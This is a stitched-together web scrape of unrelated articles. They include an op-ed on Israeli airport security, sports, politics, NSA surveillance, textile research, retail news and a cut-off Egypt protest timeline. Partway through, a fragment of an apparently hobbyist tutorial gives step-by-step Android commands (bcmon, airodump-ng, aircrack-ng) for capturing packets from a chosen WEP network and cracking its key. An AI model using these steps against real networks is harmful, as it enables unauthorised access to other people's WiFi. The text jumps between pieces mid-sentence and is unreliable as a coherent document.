This security system operates in a very unsophisticated manner. After asking a series of questions on arrival, the security personnel will give you a barcode beginning with a number from one to six. One is the lowest security rating and is afforded to Israeli Jews, and six is the highest afforded usually to Palestinians, other people of colour, and NGO or UN workers.
A four and above means that you will be subjected to a lengthy security check. For over a decade now I have been receiving sixes, and three times I have received a six with a star, presumably indicating some form of extra security “risk”.
The security check that follows is a lengthy process of checking every item in your hand luggage, swabbing everything down and doing a body search. More often than not, I am assigned two members of the security team who usually like to question me at length about my identity and on information about my family.
Designed to humiliate
On many occasions, this routine takes on a gendered nature designed to humiliate. One such time, they found a tampon that had been at the bottom of my bag, held it up and, in an accusatory fashion, asked loudly, "What is this?"
All the other security guards and passengers turned to look. "It’s a tampon," I explained.
"A what? What is it for?" one of the guards asked.
"Are you being serious? It’s used for menstruation purposes,” I said.
After a long pause and serious eyebrow raising a guard replied, "Ok, ok I understand."
After some sniggering about the tampon, they then took me for a full-body x-ray. After the x-ray, the same security guard called over another member of staff.
'I need to ask you a personal question. Are you wearing a push up bra?' - question asked by Israeli airport security
"Hello, I am the head of security,” the new staff member told me. “I need to ask you a personal question. Are you wearing a push up bra?"
Another time, after a full body x-ray, they decided that my vagina was a security threat and assigned not one, but two female security guards to check that region of my anatomy.
This gendered form of humiliation also occurs frequently at road checkpoints. On many occasions when I have been stopped by the Israeli army, I am asked about by marital status and sometimes they call over other soldiers to leer at me.
These incidents may seem petty and insignificant, but when they become a frequent part of your life and your routine, it is clear that they are designed to wear you down into submission. Often it has been suggested by the airport security, that if I don’t like the treatment, then I should travel through Jordan.
Unfortunately, it is unlikely that the women pursuing the lawsuit against the airlines will be successful. Racial discrimination and violence is embedded in the very fabric of the state of Israel, and legal challenges from within are unlikely to change those power structures. But the women's actions are brave and set an example for others to challenge the particularly humiliating gendered aspects of a settler colonial regime.
- Yara Hawari is a British Palestinian scholar-activist, whose writing continues to be informed by her commitment to decolonisation. Originally from the Galilee, she has spent her life between Palestine and the UK. She is currently a final year PhD Candidate at the European Centre for Palestine Studies at the University of Exeter. She is also a policy member of the Al-Shabaka think tank and writes for various media outlets, including the Electronic Intifada and the Independent.
The views expressed in this article belong to the author and do not necessarily reflect the editorial policy of Middle East Eye.
Photo: A security officer leads a dog as they patrol the entrance of Ben Gurion International airport, near the Mediterranean Israeli coastal city of Tel Aviv on 21 August 2014 (AFP)Cassiobury Park will become a sea of yellow on Bank Holiday Monday as the promotion party kicks off at 1pm with music.
Watford FC secured promotion back to England’s top division after a 2-0 win away at Brighton and Middlesbrough and Norwich failed to win their respective games.
Players and staff will board a bus at ASDA in St Albans Road and travel to Cassiobury Park for 2pm.
The Golden Boys will then join Vibe FM on stage in front of thousands of fans at 3pm.
However, the start time for the bus parade has yet to be confirmed, with council chiefs due to meet Hertfordshire Constabulary tomorrow to finalise the arrangements.
Three big screens will be set up in front of the stage, where there will be live musical performances. There will also be catering stalls, bouncy slides and children's entertainment.
On Monday, there will no parking in Cassiobury Park car park, Gade Avenue and Cassiobury Park Avenue, Shepherds Road, Gade Avenue and Swiss Avenue.
Watford secured promotion at the weekend and they could win the Championship title as early as tonight if Bournemouth lose to Bolton.
Earlier today, Mayor Dorothy Thornhill said the town would reap the benefits of Premier League football.
Supporters are being encouraged to head towards the town centre when the entertainment finishes at the Hornets’ promotion party at 5pm.“We love how oil companies want to keep us dependent on a dirty, climate warming, expensive fuel in short supply. Isn’t that just great?”
So goes the new theme from Fuels America, who debuted their We Love Oil! campaign this afternoon. It’s all on (hilarious) video, well worth a share — starring snarky polar bears, oil-slicked birds admiring their sheen, dumbfounded Americans wondering how awesome a future of climate change, and more climate change could really be.
Perhaps our favorite:
“I love how you grown-ups are so oil crazy. You’re going to leave us with nothing but scary weather, no clean energy and no oil left. Good thinking! I love it!”
For the small, underfunded renewable fuels movement — it appears to be the first step in a campaign to go viral with their form of asymmetric warfare.
So it’s Big Oil billions and TV ads against the little guys and their guerilla tactics. Let’s see how that progresses.
Here’s a test — tweet these.
Don’t you just LOVE oil companies?? A video Valentine for our favorite fossil #fuel folks: http://youtu.be/yr7qalUUmsk
VIDEO: We <3 U Big Oil http://youtu.be/yr7qalUUmsk #sarcasticvalentines #renewable #oil #energy
“Oil companies – I love those guys!” said no polar bear ever http://youtu.be/yr7qalUUmsk #oil #renewable #energySen. John McCain accuses Sen. Barack Obama of being a “socialist,” but it is President George W. Bush, supported by Sen. McCain, who has done the most to socialize the U.S. economy. Courtesy of the Republican Party, the federal government is set to own a sizeable chunk of the housing, auto, banking and insurance industries, as well as pieces of individual companies lining up to sell securities to Washington. Even individual homes, with Uncle Sam preparing to become the mortgage guarantor of last resort, are the targets of nationalization.
What will be left for the next president to socialize?
The Republican Party once campaigned against irresponsible federal spending and government red ink. Then George W. Bush became president. With a Republican Congress, he turned a budget surplus into a half trillion dollar deficit, added trillions of dollars in unfunded liabilities with creation of the Medicare drug benefit, and expanded virtually every federal program, domestic as well as foreign.
How is this different from what the Democratic Party has been promising to do for years?
Only after the Democrats retook control of Congress did President Bush suddenly become concerned about fiscal responsibility. But that lasted only until the subprime mortgage crisis enveloped Washington. Taking its cue from Democratic tax and spend policies of the past, the administration then opened the Treasury doors to all comers.
So far, the Bush administration, Congress, and Federal Reserve have provided more than $2 trillion in bailouts. Congress got the ball rolling, with an assist from the administration, with a $300 billion bailout of the housing industry. The president even agreed to a multi-million dollar taxpayer pay-off to the left-wing activist group ACORN to grease the legislative wheels.
Then Treasury Secretary Henry Paulson abandoned his contrary assurances and nationalized Fannie Mae and Freddie Mac at a cost of $200 billion, though the price could go higher. Bailouts began sprouting like mushrooms after a heavy rain—$29 billion to cover Bear Stearns, hundreds of billions of dollars from the Federal Reserve to banks and investment banks, as well as to buy mortgage-backed securities, $85 billion to nationalize the big insurer AIG, followed by another $38 billion for AIG and $25 billion more in loans to the auto industry.
Then there was the grand pay-off to Wall Street. Secretary Paulson came up with the wholly arbitrary $700 billion bailout—his aides admitted that he just wanted a really big number. And the administration accepted an extra $150 billion in pork and special tax breaks to win over reluctant congressmen. The purpose, we were told, was to clear “toxic” paper off of corporate balance sheets.
It turns out this was nothing more than another Bush Administration bait-and-switch.
Now the $700 billion is being used to buy up the U.S. economy. First, the administration decided to “invest” in big banks, whether they wanted it or not. The Bush administration put pressure on even sound institutions and argued that bankers must accept Republican socialism as a matter of patriotism. Who knows when, if ever, the government will sell off its stake in America’s financial system.
Then the administration suggested a new $40 billion homeowners program. The federal government is going to start guaranteeing individual mortgages. A lender who makes a bad loan will be assured of repayment so long as he cuts the interest rate or principal. A homeowner who should never have bought the house will get bailed-out by responsible homeowners and renters.
But the administration isn’t finished. On Friday, October 24, the Treasury Department announced that it was going to buy ownership stakes in major insurance companies. After all, the insurers are in trouble too. So The Hartford, MetLife, and Prudential already are in line for a government hand-out.
Is Sen. Obama “socialist?” Yes, he wants to “spread the wealth,” as he puts it. But that’s what the Republicans have been doing for the last eight years. We already have "big government," "socialism," or whatever else you want to call it—and it was Republicans who gave it to us.
Even if he was elected, Sen. McCain would continue to this drive to bigger and bigger government: He has proposed that the federal government spend $300 billion to buy every bad mortgage in America. But, he isn’t going to win.
The real alternative this election is Bob Barr and the Libertarian Party. Only a vote for Bob Barr will tell Washington that there are Americans who don’t want socialism, whether from the Democrats or the Republicans. Only Bob Barr represents real change in Washington.Liberals descended on Pennsylvania Avenue Tuesday to protest President Barack Obama's decision to include entitlement cuts in his upcoming budget, delivering 2 million petitions demanding the White House back off its support for the chained CPI.
As we reported this weekend, liberals have been seething over the inclusion of the chained CPI in Obama's budget, which they see as a huge betrayal by the Democratic president.
This week, progressive groups, including MoveOn, the Progressive Change Campaign Committee, and Democracy for America, have mounted "emergency" online campaigns against the proposal, accusing Obama of turning on the very supporters who helped re-elect him to office.
Here's a sampling of the attacks, from MoveOn's Save Social Security tumblr:
MoveOn
MoveOn
MoveOn
MoveOn, PCCC, and Democracy for America are also threatening Democratic lawmakers against supporting entitlement cuts. Politico reports today that the three groups have sent "strongly worded letters" to Democrats in Congress warning that they could face a primary challenge from the left if they back Obama's proposals.
"It's really a slap in the face to Democrats who knock on doors and volunteer for campaigns," DFA spokesman Neil Sroka told Business Insider. "It hits at the very foundation of what it means to be a Democrat, and you're going to see primary challenges emerge."
"Any Democrat who votes to cut Social Security and Medicare is not a progressive Democrat, and they should be prepared to feel the ire of the progressive base."
But it is not clear if liberals have the resources or political will to back up these threats. For now, at least, there are a few reasons why the issue of entitlement reform is unlikely to cause a major split in the Democratic Party:
It doesn't look like Obama's budget is going to get anywhere. Both Republicans and Democrats have already criticized Obama's proposals, and a grand bargain seems highly unlikely.
Progressive groups are relatively weak. Compared to conservative outside groups like the Club for Growth and FreedomWorks, progressive organizations have fewer organizational and financial resources to mount serious primary challenges against incumbent lawmakers.
Obama's entitlement cuts are negligible compared to the sweeping entitlement reforms preferred by most Republicans.On Friday, the Director of National Intelligence (DNI) released a statement saying that its authorization to compel telephone companies to share metadata has been renewed by the Foreign Intelligence Surveillance Court (FISC).
In early June, The Guardian published a document showing that Verizon was compelled to share call records of all of its customers with the National Security Agency (NSA). It is widely believed that similar orders exist for the other telecommunications companies and include both landline and mobile providers.
The move is particularly noteworthy and unusual as this type of data sharing had previously been kept from the public, but now one of the country's top intelligence officials is publicly acknowledging that FISC has sanctioned a continuation of its powers.
In the new statement, Director of National Intelligence James Clapper wrote that he had declassified some information “in order to provide the public with a more thorough and balanced understanding of the program.”
In its new statement, the DNI also wrote:
Consistent with his prior declassification decision and in light of the significant and continuing public interest in the telephony metadata collection program, the DNI has decided to declassify and disclose publicly that the Government filed an application with the Foreign Intelligence Surveillance Court seeking renewal of the authority to collect telephony metadata in bulk, and that the Court renewed that authority.
“The program does not involve ‘searches’ of plaintiffs’ persons or effects”
Meanwhile, the government has formally responded to a lawsuit (ACLU v. Clapper), in which the American Civil Liberties Union (ACLU) argued to halt the nationwide metadata spying program.
In its federal lawsuit filed on June 11, 2013, the ACLU argued:
This surveillance is not authorized by Section 215 and violates the First and Fourth Amendments. Plaintiffs bring this suit to obtain a declaration that the Mass Call Tracking is unlawful; to enjoin the government from continuing the Mass Call Tracking under the VBNS order or any successor thereto; and to require the government to purge from its databases all of the call records related to Plaintiffs’ communications collected pursuant to the Mass Call Tracking.
In a four-page letter to the judge in the case, first reported by Wired, officials from the Justice Department defended the legality of the program, reiterating similar remarks made by NSA Director Gen. Keith Alexander on Thursday.
The government wrote in its new filing (PDF):
The large volume of telephony metadata is relevant to FBI investigations into specific foreign terrorist organizations because to identify potential terrorist communications under this court-imposed query standard requires collecting and storing a large volume and high percentage of information about unrelated communications, to ensure that the much smaller subset of terrorist-related telephony metadata records are contained within the dataset. These data allow the Government to make connections related to terrorist activities over time and can assist counter-terrorism personnel to discover whether known or suspected terrorists have been in contact with other persons who may be engaged in terrorist activities, including persons and activities inside the United States.... Second, the alleged metadata program is fully consistent with the Fourth Amendment. Most fundamentally, the program does not involve "searches" of plaintiffs' persons or effects, because the collection of telephony metadata from the business records of a third-party telephone service provider, without collecting the contents of plaintiffs' communications, implicates no "legitimate expectation of privacy" that is protected by the Constitution.
In short, the government is relying on a well-established (but increasingly challenged) part of American case law known as the “third-party doctrine.” This notion says that when a person has voluntarily disclosed information to a third party—in this case, the telco—the customer no longer has a reasonable expectation of privacy over the numbers dialed nor their duration. Therefore, this doctrine argues, such metadata can be accessed by law enforcement with essentially no problem.The average American businessperson spends anywhere from $500 to $1,500 on dry cleaning each year. In addition to the economic costs, the Environmental Protection Agency has said that the most commonly used chemical, perchloroethylene (perc), can leech into our bodies, causing respiratory irritation and possibly cancer, and the air, depleting the ozone layer.
Over the past few years, some dry cleaners have begun using “green” or “organic” cleaning methods, many of which include replacing perc with carbon dioxide. But, Walid Daoud, a chemical engineer at City University of Hong Kong's School of Energy and Environment, has developed a method that would cancel out the need for dry cleaning altogether.
In his lab, Daoud has created fabric that cleans itself when it’s exposed to light.
The magic involves an invisible, light-reactive coating. Daoud’s team applies a nano-thin layer of photocatalysts (anatase titanium dioxide, to be precise) onto cashmere. When a coffee, red wine or tomato stain is present, researchers place the material under light for 24 hours. The light source incites a chemical reaction that creates oxidants, which in turn can break down any contaminants, including bacteria and soil.
Daoud has been experimenting with similar self-cleaning coatings for other fabrics, including cotton, since the early 2000s. Such fabrics could eliminate the need for energy-hungry washing machines, which consume some 40 gallons of water per load and account for 22 percent of the average household's water usage. But cashmere, which is fine wool spun from the soft undercoat of a particular type of goat, is trickier than sturdy cotton.
“Cashmere is a sensitive protein and can be easily damaged,” Daoud explained to the City University of Hong Kong news service. “It has poor resistance to oxidation, chemicals, and high temperatures.” So Daoud had to find a mix of chemicals that wouldn’t harm the fabric during oxidation.
Now that Daoud and his team have found the right chemical cocktail, they are developing methods to ensure that the coating will have no ill effects on the wearer or the environment.
“The project aims at delivering a set of testing systems and standard protocols, including a nano-coating emission chamber for testing stability, nanoparticle performance, and safety under simulated wear,” he said.
The team also plans to establish methods to test the durability and effectiveness of the coating next month. In the end, treated garments would only run at a 1 to 1.5 percent premium compared to untreated ones; so a $75 sweater would cost about $76.13.
Researchers have been demonstrating stain-resistant coatings for several years. For example, a team at Harvard has shown off a Slippery Liquid-Infused Porous Surface (SLIPS), which imbues cotton and polyester with omni-repellent properties. The U.S. Army has been testing similar dirt-wicking materials for uniforms. Earlier this year, Silic, a startup, completed a fully funded Kickstarter campaign to bring a repellent t-shirt to market; it’s currently up for preorder. And, last summer, Rust-Oleum released NeverWet, a spray treatment with similar, if not inferior, capabilities. Users apply two layers of NeverWet onto pretty much any surface and allow it to dry. Once set, the coating will repel water, oil, dirt and more from the surface. Rust-Oleum doesn’t recommend users apply NeverWet to clothes though—the treatment’s silicone base can be carcinogenic—and the treatment wears off in time and leaves a chalky residue.
But, Daoud’s coating is among the first to actively remove stains from fabric.
Unfortunately, consumers will have to either wait or make due with these interim solutions, because it could be years before self-cleaning cashmere makes its public debut.Watching the Penguins' powerplay this season has been really fun. They've been passing the puck well and scoring at a crazy rate. Because of this, they currently sit atop the league with a 34% powerplay conversion rate. But we know that how a team has done in the past isn't always a good predictor of how they'll do in the future.
To make the best predictions possible, we like to look at shot attempts rather than goals. On one level it's counter-intuitive, since games are decided by which team scores more. But using shot attempts has the appeal of giving you more events to analyze, which allows you to be more confident in your evaluation of a team or a player. We've seen this in countless articles, but nearly all of them deal with even strength play. I haven't come across one that documents the data to support focusing on shot attempts rather than goals when a team is on the powerplay. I intend to do that here.
It makes sense to break this problem down by first looking at big samples. This is especially important given how little overall time teams spend on the power play. What I did was pull six years of team powerplay data from War on Ice and divide that data into two buckets. The first bucket was the combined data from the 2008-09 season through the 2010-11 season. As you can guess, the second bucket was the combined data from the 2011-12 season through the 2013-14 season.
I then created scatter plots to analyze the correlation between those two buckets for Corsi For/60, Fenwick For/60, Shots For/60, and Powerplay Shooting Percentage. A higher R-squared indicates more repeatability in that stat, which is what we want. The graphs are below.
This is exactly what we thought would happen. Goals are a poor baseline to use for the powerplay because teams have no long-term control over their powerplay shooting percentage. That last graph drives the point home because it's nearly impossible to get much closer to an R-squared of zero. Looking at shots for per 60 is much better, but you can see that each metric's predictive power gets better as we include a bigger data set. CF/60 has taken an early lead.
I want to check this result another way by looking at in-season correlations. In theory, a lot can change for teams over six years. Personnel, coaches, systems, and other minutiae can all make it impossible to sustain an above average powerplay shooting percentage. However, in the more compact setting of a single season, we might see teams consistently getting higher quality shots while up a man.
To test this, I took every team's powerplay CF/60, FF/ 60, and shooting percentage for the first 41 games of the 2013-14 season and correlated that with the same metric for the last 41 games in the season. War on Ice makes this very easy since you can sort by dates. I didn't bother with SF/60 since Corsi and Fenwick are better predictors when using shot attempts (I confirmed this by running in-season correlations for SF/60). In short, we're looking to see if what teams did on the powerplay through the first half of the season had any effect on what they did in the last half of the season. Graphs follow.
This is the same thing that we saw with our six-year samples above. Teams have very little control over their powerplay shooting percentage, but their shot rates show much more sustainability, with CF/60 again the best. To make sure there aren't any holes here, I did the same in-season correlations for the 2011-12 season.
Same story. Powerplay shooting percentage showed very little predictability while CF/60 continued to reign supreme. I feel comfortable making the following claim:
When evaluating a powerplay, always use CF/60 because it is considerably more sustainable than other metrics, especially powerplay shooting percentage.
I hope Penguins fans and the hockey community more generally can use this as a reference point for evaluating powerplays in the future. Moreover, I want to apply this knowledge to this year's Penguins. The stats are from War on Ice and the ones from this year are current through Thursday evening.
PP CF/60 PP SH% 2011-12 118.53 12.09% 2012-13 104.1 16.06% 2013-14 112.33 13.89% 2014-15 104.61 21.65%
This is remarkable. People lauded the powerplay early on in the season for doing different things and getting better results. But so far, the Penguins' powerplay actually hasn't been any different than in past seasons. In fact, it's been a bit worse. That sounds crazy because they've scored a lot of goals so far, but that's been driven by an unsustainable shooting percentage.
The metric that we should focus on is CF/60. And that tells us that the Penguins haven't uncovered a secret powerplay elixir. They generated more shot attempts in two of the previous three seasons, and even their lowest numbers in 2012-13 are right in line with what we've seen this year. Going forward, I hope the coaches and the players make getting more shot attempts on the powerplay a goal.
***
I want to head off a misconception when I talk about evaluating powerplays. Goals are what decide the game, so it seems silly to look at the Penguins' powerplay and say anything other than "they've been phenomenal." That's a true statement if our task is simply explaining what happened in the past. However, I'm more interested in the future, and I think most people are too. We want to know where our team is headed and whether they can keep it up.
That's why it's critical to use CF/60 when evaluating a powerplay. The Penguins have done a good job this year generating shots on the man advantage, but their powerplay unit has under-performed relative to its counterparts in earlier years. To maintain their success with the man advantage, they should aim to generate more shot attempts in the future. Given their talent, that seems like a reasonable expectation.Researchers in Germany have discovered Stone Age cave art in the country for the first time including carvings of nude women that may have been used in fertility rites.
Archaeologists working for the Bavarian State Office for Historical Preservation came upon the primitive engravings in a cave near the southern city of Bamberg after decades searching, a spokeswoman for the authority said.
The spokeswoman, Beate Zarges, confirmed a report to appear in the weekly newspaper Die Zeit that the engravings were believed to be around 12,000 years old, which would make them the first Stone Age artwork ever found in Germany.
"They include schematic depictions of women's bodies and unidentifiable symbols, among other things," she said.
The ancient artists appear to have taken their inspiration for the erotic images from rock formations in the caves resembling breasts and penises and then carved the images in the walls of the cave, Zarges said.As the protests in Egypt reach Day 7, CNN takes a look back at how they have unfolded.
TUESDAY, JANUARY 25
On the heels of anti-government demonstrations in Tunisia, thousands of protesters spilled into the streets of Egypt in a rare display of anti-government outcry. CNN reporters on the scene witnessed throngs of people in Cairo march from Tahrir Square to the parliament building. Demonstrators threw rocks at police, who threw them back and shot tear gas at the protesters, who also reciprocated.
While Egypt estimated that there were 5,000 to 10,000 protesters, CNN estimated that the demonstration peaked at 15,000 to 20,000 protesters.
The protest's organizers said they wanted to mirror the uprising in Tunisia, which 10 days prior had precipitated the end of President Zine El Abidine Ben Ali's 23-year rule. Before the protests in Cairo, several Egyptians set themselves or tried to set themselves on fire earlier in the month, which also was reminiscent of Tunisia, where a man's self-immolation spurred the uprising.
The Egyptian protesters - who included young and old, Christians and Muslims, students, workers and businesspeople - said they were angry over the cost of living, failed economic policies and corruption. They demanded that President Hosni Mubarak, in power for three decades, follow the lead of Tunisia's president.
"We breathe corruption in the air," said one demonstrator.
At day's end, three protesters in the port city of Suez and a police officer in Cairo were killed. Forty-nine people were injured, according to news reports.
WEDNESDAY, JANUARY 26
Egypt's security forces struck back hard, turning water cannons and more tear gas canisters on the protesters. In downtown Cairo, police hit demonstrators with fists and sticks, and 90 people were arrested at Tahrir Square. A watchdog group said 10 journalists were among those beaten.
Opposition leader Mohamed ElBaradei came forward to say that the government was not stable. The Interior Ministry later said it would not allow "any provocative movement or a protest or rallies or demonstrations."
The protesters were undeterred. They clashed with police in Suez, and in Rafah, near the Gaza border, Bedouins tried to stop traffic by setting tires ablaze and throwing rocks at cars, according to Egypt's state-run news agency.
In a sign that social networking was a catalyst in the demonstrations, Twitter said that it had been blocked for two days and that protesters were using other applications or proxy sites to get out their message. Egypt denied the claim, saying it had not blocked Facebook, Twitter or any other website and suggesting that the sites may have been slow because of the traffic.
In Washington, the White House called on both sides to refrain from violence and dubbed Egypt "a strong ally |
. Choose the network to hack and tap "Start Attack". It will take between 2-10 hours to hack. And sometimes it will never e successful depending on the router type.
Hacking WEP type WiFi Using Android Phone
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WEP is an outdated, weak protocol used to secure WiFi and it is no more preferred because it can be hacked within seconds. However, due to lack of awareness, it is still used across the world. Below instructions explain how you can use your android device to hack a WEP protected WiFi network.
Procedure bcmon app is used here also. So download and install it as told above
app is used here also. So download and install it as told above Tap " Run bcmon terminal ". This will launch a terminal similar to most Linux terminals.
". This will launch a terminal similar to most Linux terminals. Type airodump-ng and tap the Enter button. In the newly opened window type airodump-ng wlan0 and tap the Enter button. Open reaver and note down the WiFi (Access point) name, Mac Address and the broadcasting channel of the WiFi which you want to hack. Make sure it is WEP.
Now we can start scanning the target WiFi and collect packets. Type the following airodump-ng -c channel# --bssid MAC address -w outputfile ath0 Note: channel# = broadcasting channel, MAC address = Mac Address of the router which you already noted down. -w is for specifying the output file name. I have given the name as outputfile in the example. So the complete command looks similar to this. airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w outputfile ath0 Continue scanning untill it collects 20,000-30,000 packets.
Once enough packets are collected return to the terminal and type aircrack-ng outputfile*.cap and tap Enter. Aircrack program will attempt to crack the WiFi password from the extracted packets. It might take hours to crack. Finally a message Key Found! will appear, followed by the key in a hexadecimal form. Key will work only if Probability" is 100%.
Remove ":" from the key. i.e if it is 19:04:56:77:94, the key would be 1904567794 There are many other methods to hack WiFi using Android. Stay tuned for more tricks.
Credits:
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Credits: XDAJill and Derick Dillard of the hit TLC show "19 Kids and Counting" have welcomed their firstborn into the world, Israel David Dillard.
Weighing in at 9 lbs., 10 oz., Jill and Derick's first child arrived 11:49 p.m. Monday, April 6. According to People Magazine, who first broke the news, both mother and son are doing well.
Although baby Israel was born past his March 24 due date, Jill said she was prepared for her son's late arrival. "It's no big deal," the new mother explained a day before his arrival, "I have told myself, 'First-time moms often go a week and a half over, so don't get discouraged.. The baby will come when the baby comes."
Jill and Derick began dating back in November 2013, became engaged in April, and tied the knot last June. Just a few weeks after getting married, the couple was overjoyed to discover they were expecting.
"When we found out we were pregnant, we were actually at Jill's family's house," Derick said at the time. "She took one of her mom's pregnancy tests and we waited until the next day to tell everyone."
Over the past nine months, the couple has publicly documented Jill's pregnancy, sharing sweet photos of her growing baby bump at each stage. As recently as April 4, Derick shared a photo of his wife's baby bump at 41 weeks and 4 days along with the caption, "Maybe we'll have an Easter baby!"
On Thursday, he took to the Duggar family blog to express his excitement about welcoming his baby son into the world.
"I can't even describe right now the anticipation I am feeling, as I am about to get to meet my firstborn son for the first time face to face," Dillard wrote in the pre-Easter blog post.. "So many people have already testified that nothing can quite describe that moment and that I'll just have to experience it for myself."
"Now that I'm about to be a dad, I find it quite interesting that Jesus related the end of the world to the event of birth," Dillard added. "And it's easy to relate to because as much as Jill and I want to know when this birth will happen, the day and the hour of baby dilly's birth is definitely unknown."
The arrival of Israel will air on TLC on May 5 in honor of Mother's Day, the Duggar family's official Facebook page has revealed.Smartphones are like trousers. They're unnatural, a human artifice that our species survived many millennia without, but which has now proliferated to the point of being essential to everyday life across most of the globe. China's meteoric economic rise this century sees the Asian country occupying the dual role of the world's biggest producer and biggest consumer of smartphones. This makes it the most essential nation to humanity's most essential modern tool, and as such, it insulates China from new American president-elect Donald Trump's threats of punishing trade tariffs.
One of the tentpole features of the Trump campaign's foreign policy, from the outset, has been the desire to rectify perceived unfairness in trade with China. Mr. Trump has repeatedly accused China of being a currency manipulator — a claim dismissed as invalid by economists observing the Asia region — and has indicated that he'd adopt an "America first" strategy in his dealings with US trade partners. In response, China has come out and not too subtly hinted that it would undermine iPhone sales if it were ever subjected to Trump's proposed brand of American protectionism.
To quote an editorial posted to the website of China’s state mouthpiece Global Times, "A batch of Boeing orders will be replaced by Airbus. US auto and iPhone sales in China will suffer a setback, and US soybean and maize imports will be halted."
Apple can’t build an iPhone without China, but China can build many awesome phones without Apple
There's an asymmetry here that Mr. Trump seems unaware of. Apple can't build an iPhone without China, but China can build hundreds of millions of devices approaching the iPhone's quality without Apple's help. Earlier this year, I wrote about just how narrow the delta between Apple's smartphone and its once-copycats from China has become. The president-elect has promised to bring manufacturing back to the States, but the only Apple product currently being made in the USA is the aged Mac Pro, which costs thousands of dollars, and Motorola’s failed experiment with the 2013 Moto X shows that smartphone assembly in the US is too costly to be viable.
And how important is that globally renowned iPhone? It accounts for more than half of Apple's revenue and was the primary driver for the most profitable quarter any company has ever recorded: $18.4 billion of net profit for this period last year. Apple has been the United States', and the world's, most valuable company — a title now contested by Google parent Alphabet — primarily on the strength of the iPhone. A big boost that drove Apple to its record earnings was its release of a bigger iPhone in China, sating the country’s hunger for a large-screen status symbol smartphone.
China's "tit-for-tat" retaliation to the threatened increase in US tariffs would also include cars, and China does indeed play an instrumental role in producing those, too, but there's a difference with smartphones. If China were merely a producer, it could be substituted away from over a period of time. Google's Pixel, for example, is manufactured by HTC in Taiwan.
It may be possible to substitute Chinese production, but not Chinese consumption
But China also devours phones at a rate that overshadows every other region. "China’s smartphone market was almost two times bigger than the US and Western Europe combined in Q3 2016," says Neil Mawston, director at market research firm Strategy Analytics. "China today is, by a huge margin, the largest smartphone market on Earth."
That extraordinary consumption expressed itself most recently in Alibaba's record $18 billion of sales during the Singles Day celebration of November 11th (11/11). By comparison, last year’s combined Thanksgiving and Black Friday sales in the US accumulated a total of roughly $12.1 billion. Importantly, Alibaba reported that 82 percent of its 2016 Singles Day sales came from mobile devices, underlining once again the outsized economic impact and influence of smartphones. And this is just one, albeit the biggest, online retailer we’re talking about; China’s consumptive energies are still growing at a remarkable rate of 32 percent.
The symbiotic relationship between the US and China goes deeper than the obvious and widespread American consumption of Chinese goods. Americans would suffer in that transaction, anyway, as The Wall Street Journal’s Andrew Browne today points out that higher import tariffs would most heavily impact the poorest American workers, who’d have to deal with higher costs being passed on in the form of higher prices for China-made goods. But the thing that would make a trade war most catastrophic is not just that things like iPhones might be more expensive to buy and take longer to make; it’s that China might decide that it doesn’t want to buy any. Probably the biggest change in the global economy since the 2008 financial crisis, as illustrated by the chart above, has been China’s increased consumption and rebalancing to become something more than just a high-volume producer of mass-market goods.
Browne’s WSJ report also goes on to elaborate on the hundreds of billions of dollars of investment in both directions, reiterating the point that making Sino-American trade harder would be mutually assured economic misery for both sides.
A trade war between the US and China would benefit neither
The good news is that Donald Trump’s bluster appears unlikely to be followed up with real action. Some of his advisers have already started walking back his claims, watering them down to campaign rhetoric and an aggressive negotiating stance rather than a real appetite for outright trade war. Facing an almost universal consensus (see opinion pieces in Bloomberg and The Guardian) against his idea of slapping down punitive tariffs on Chinese goods, Trump might do well to heed that contingent among his advisers that sees China as an ally rather than a threat. The collaborative efforts of China and the US have produced the world’s most profitable gadget in the iPhone, and hold even more potential for the future. The more interesting questions for US trade policy might involve Google, Facebook, and Microsoft, and how their web services could be allowed to proliferate inside China’s famously locked down internet environment.Models presenting creations from the J. Crew Spring/Summer 2014 collection during New York Fashion Week. Keith Bedford/Reuters J. Crew is falling apart, and it's only getting worse.
According to Bloomberg, the private-equity firm TPG Capital sliced its holdings in the business by a whopping 84% when 2015 came to a close.
Bloomberg obtained documents revealing that TPG's $478.6 million equity stake had fallen to a jarringly low $76 million. Even worse, Bloomberg notes, the parent company J. Crew Inc. has a whopping $2.1 billion in debt.
But none of this should be too surprising to anyone following J. Crew's continual tumble. The apparel company has been reporting dismal results for years.
This almost seems par for the course given the current retail climate. Malls are struggling, and younger generations' obsession with social media has rendered durable, long-lasting, expensive apparel insignificant; they want edgy fast-fashion clothes they can share online immediately.
"Their entire life, if it's not shareable, it didn't happen," Marcie Merriman, Generation Z expert and executive director of growth strategy and retail innovation at Ernst & Young, told Business of Fashion. "Experiences define them much more than the products that they buy."
Additionally, consumers see apparel on Instagram and want it instantly, which is a death knell for traditional retailers like Gap and J. Crew, which have longer lead times between designing apparel and putting it on the shelves.
"You're dealing with a company in a segment that has to really adapt well, and if you have enormous leverage on the balance sheet, that becomes very, very difficult," David Tawil, president of Maglan Capital, told Business Insider. "You can't invest in the way that a more nimble player can."
AP
But J. Crew's troubles run even deeper.
As a result of failing to sell clothing at full price, J. Crew has had to resort to a strategy that retail expert Robin Lewis of The Robin Report has said will ultimately become an "economic black hole": excessive discounting. J. Crew has become synonymous with discounts, and while that's fun for the consumer, it's terrible for the business.
In the fall, the company appeared to be getting back to its roots, but it appears that even the company's signature blazers cannot save the ailing retailer; it will take a lot more than that, and it will take a while.
"This does not happen over night," CEO Mickey Drexler stressed on last quarter's earning call, before ending abruptly without answering any questions.
A sweater that J. Crew was apparently trying to get rid of over the summer. Hollis Johnson/Business Insider
So what's next for J. Crew amid the recent financial troubles?
If the market doesn't improve, Tawil believes that "they're going to be a big balance sheet restructuring that's going to have to happen."
"Management will continue to search for some sort of Hail Mary, but absent some lightbulb moment or a huge about-face in the trajectory of retail in this country... there's not going to be a save," he said.
That doesn't mean J. Crew will die tomorrow — it just might be more of a slow, unfortunate burn.
"Clearly the company has more runway at this point in terms of existence," Tawil said. "There's nothing that's going to make it go bankrupt tomorrow. The value erosion will continue [and] management has no incentive to cut this short. They want to continue to have their jobs, [so] they'll pay themselves a salary. They'll continue to search for some sort of turnaround."A Charlotte, N.C., police officer is being lauded for his patience with an autistic high school student. The officer, Tim Purdy, met the teen when he responded to a call from a local high school, Fox News reported. School officials told Purdy that one of its students had left campus and was potentially suicidal. According to Fox News, the teen had had a history of “displaying violent behavior” due to his autism.
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Purdy even reportedly got the teen to laugh. The relationship that Purdy took the time to form with the teen led to the teen getting the help he needed.
The Charlotte-Mecklenburg Police Department posted a photo of Purdy and the teen talking to its
. Keep reading to understand why this was a big deal.
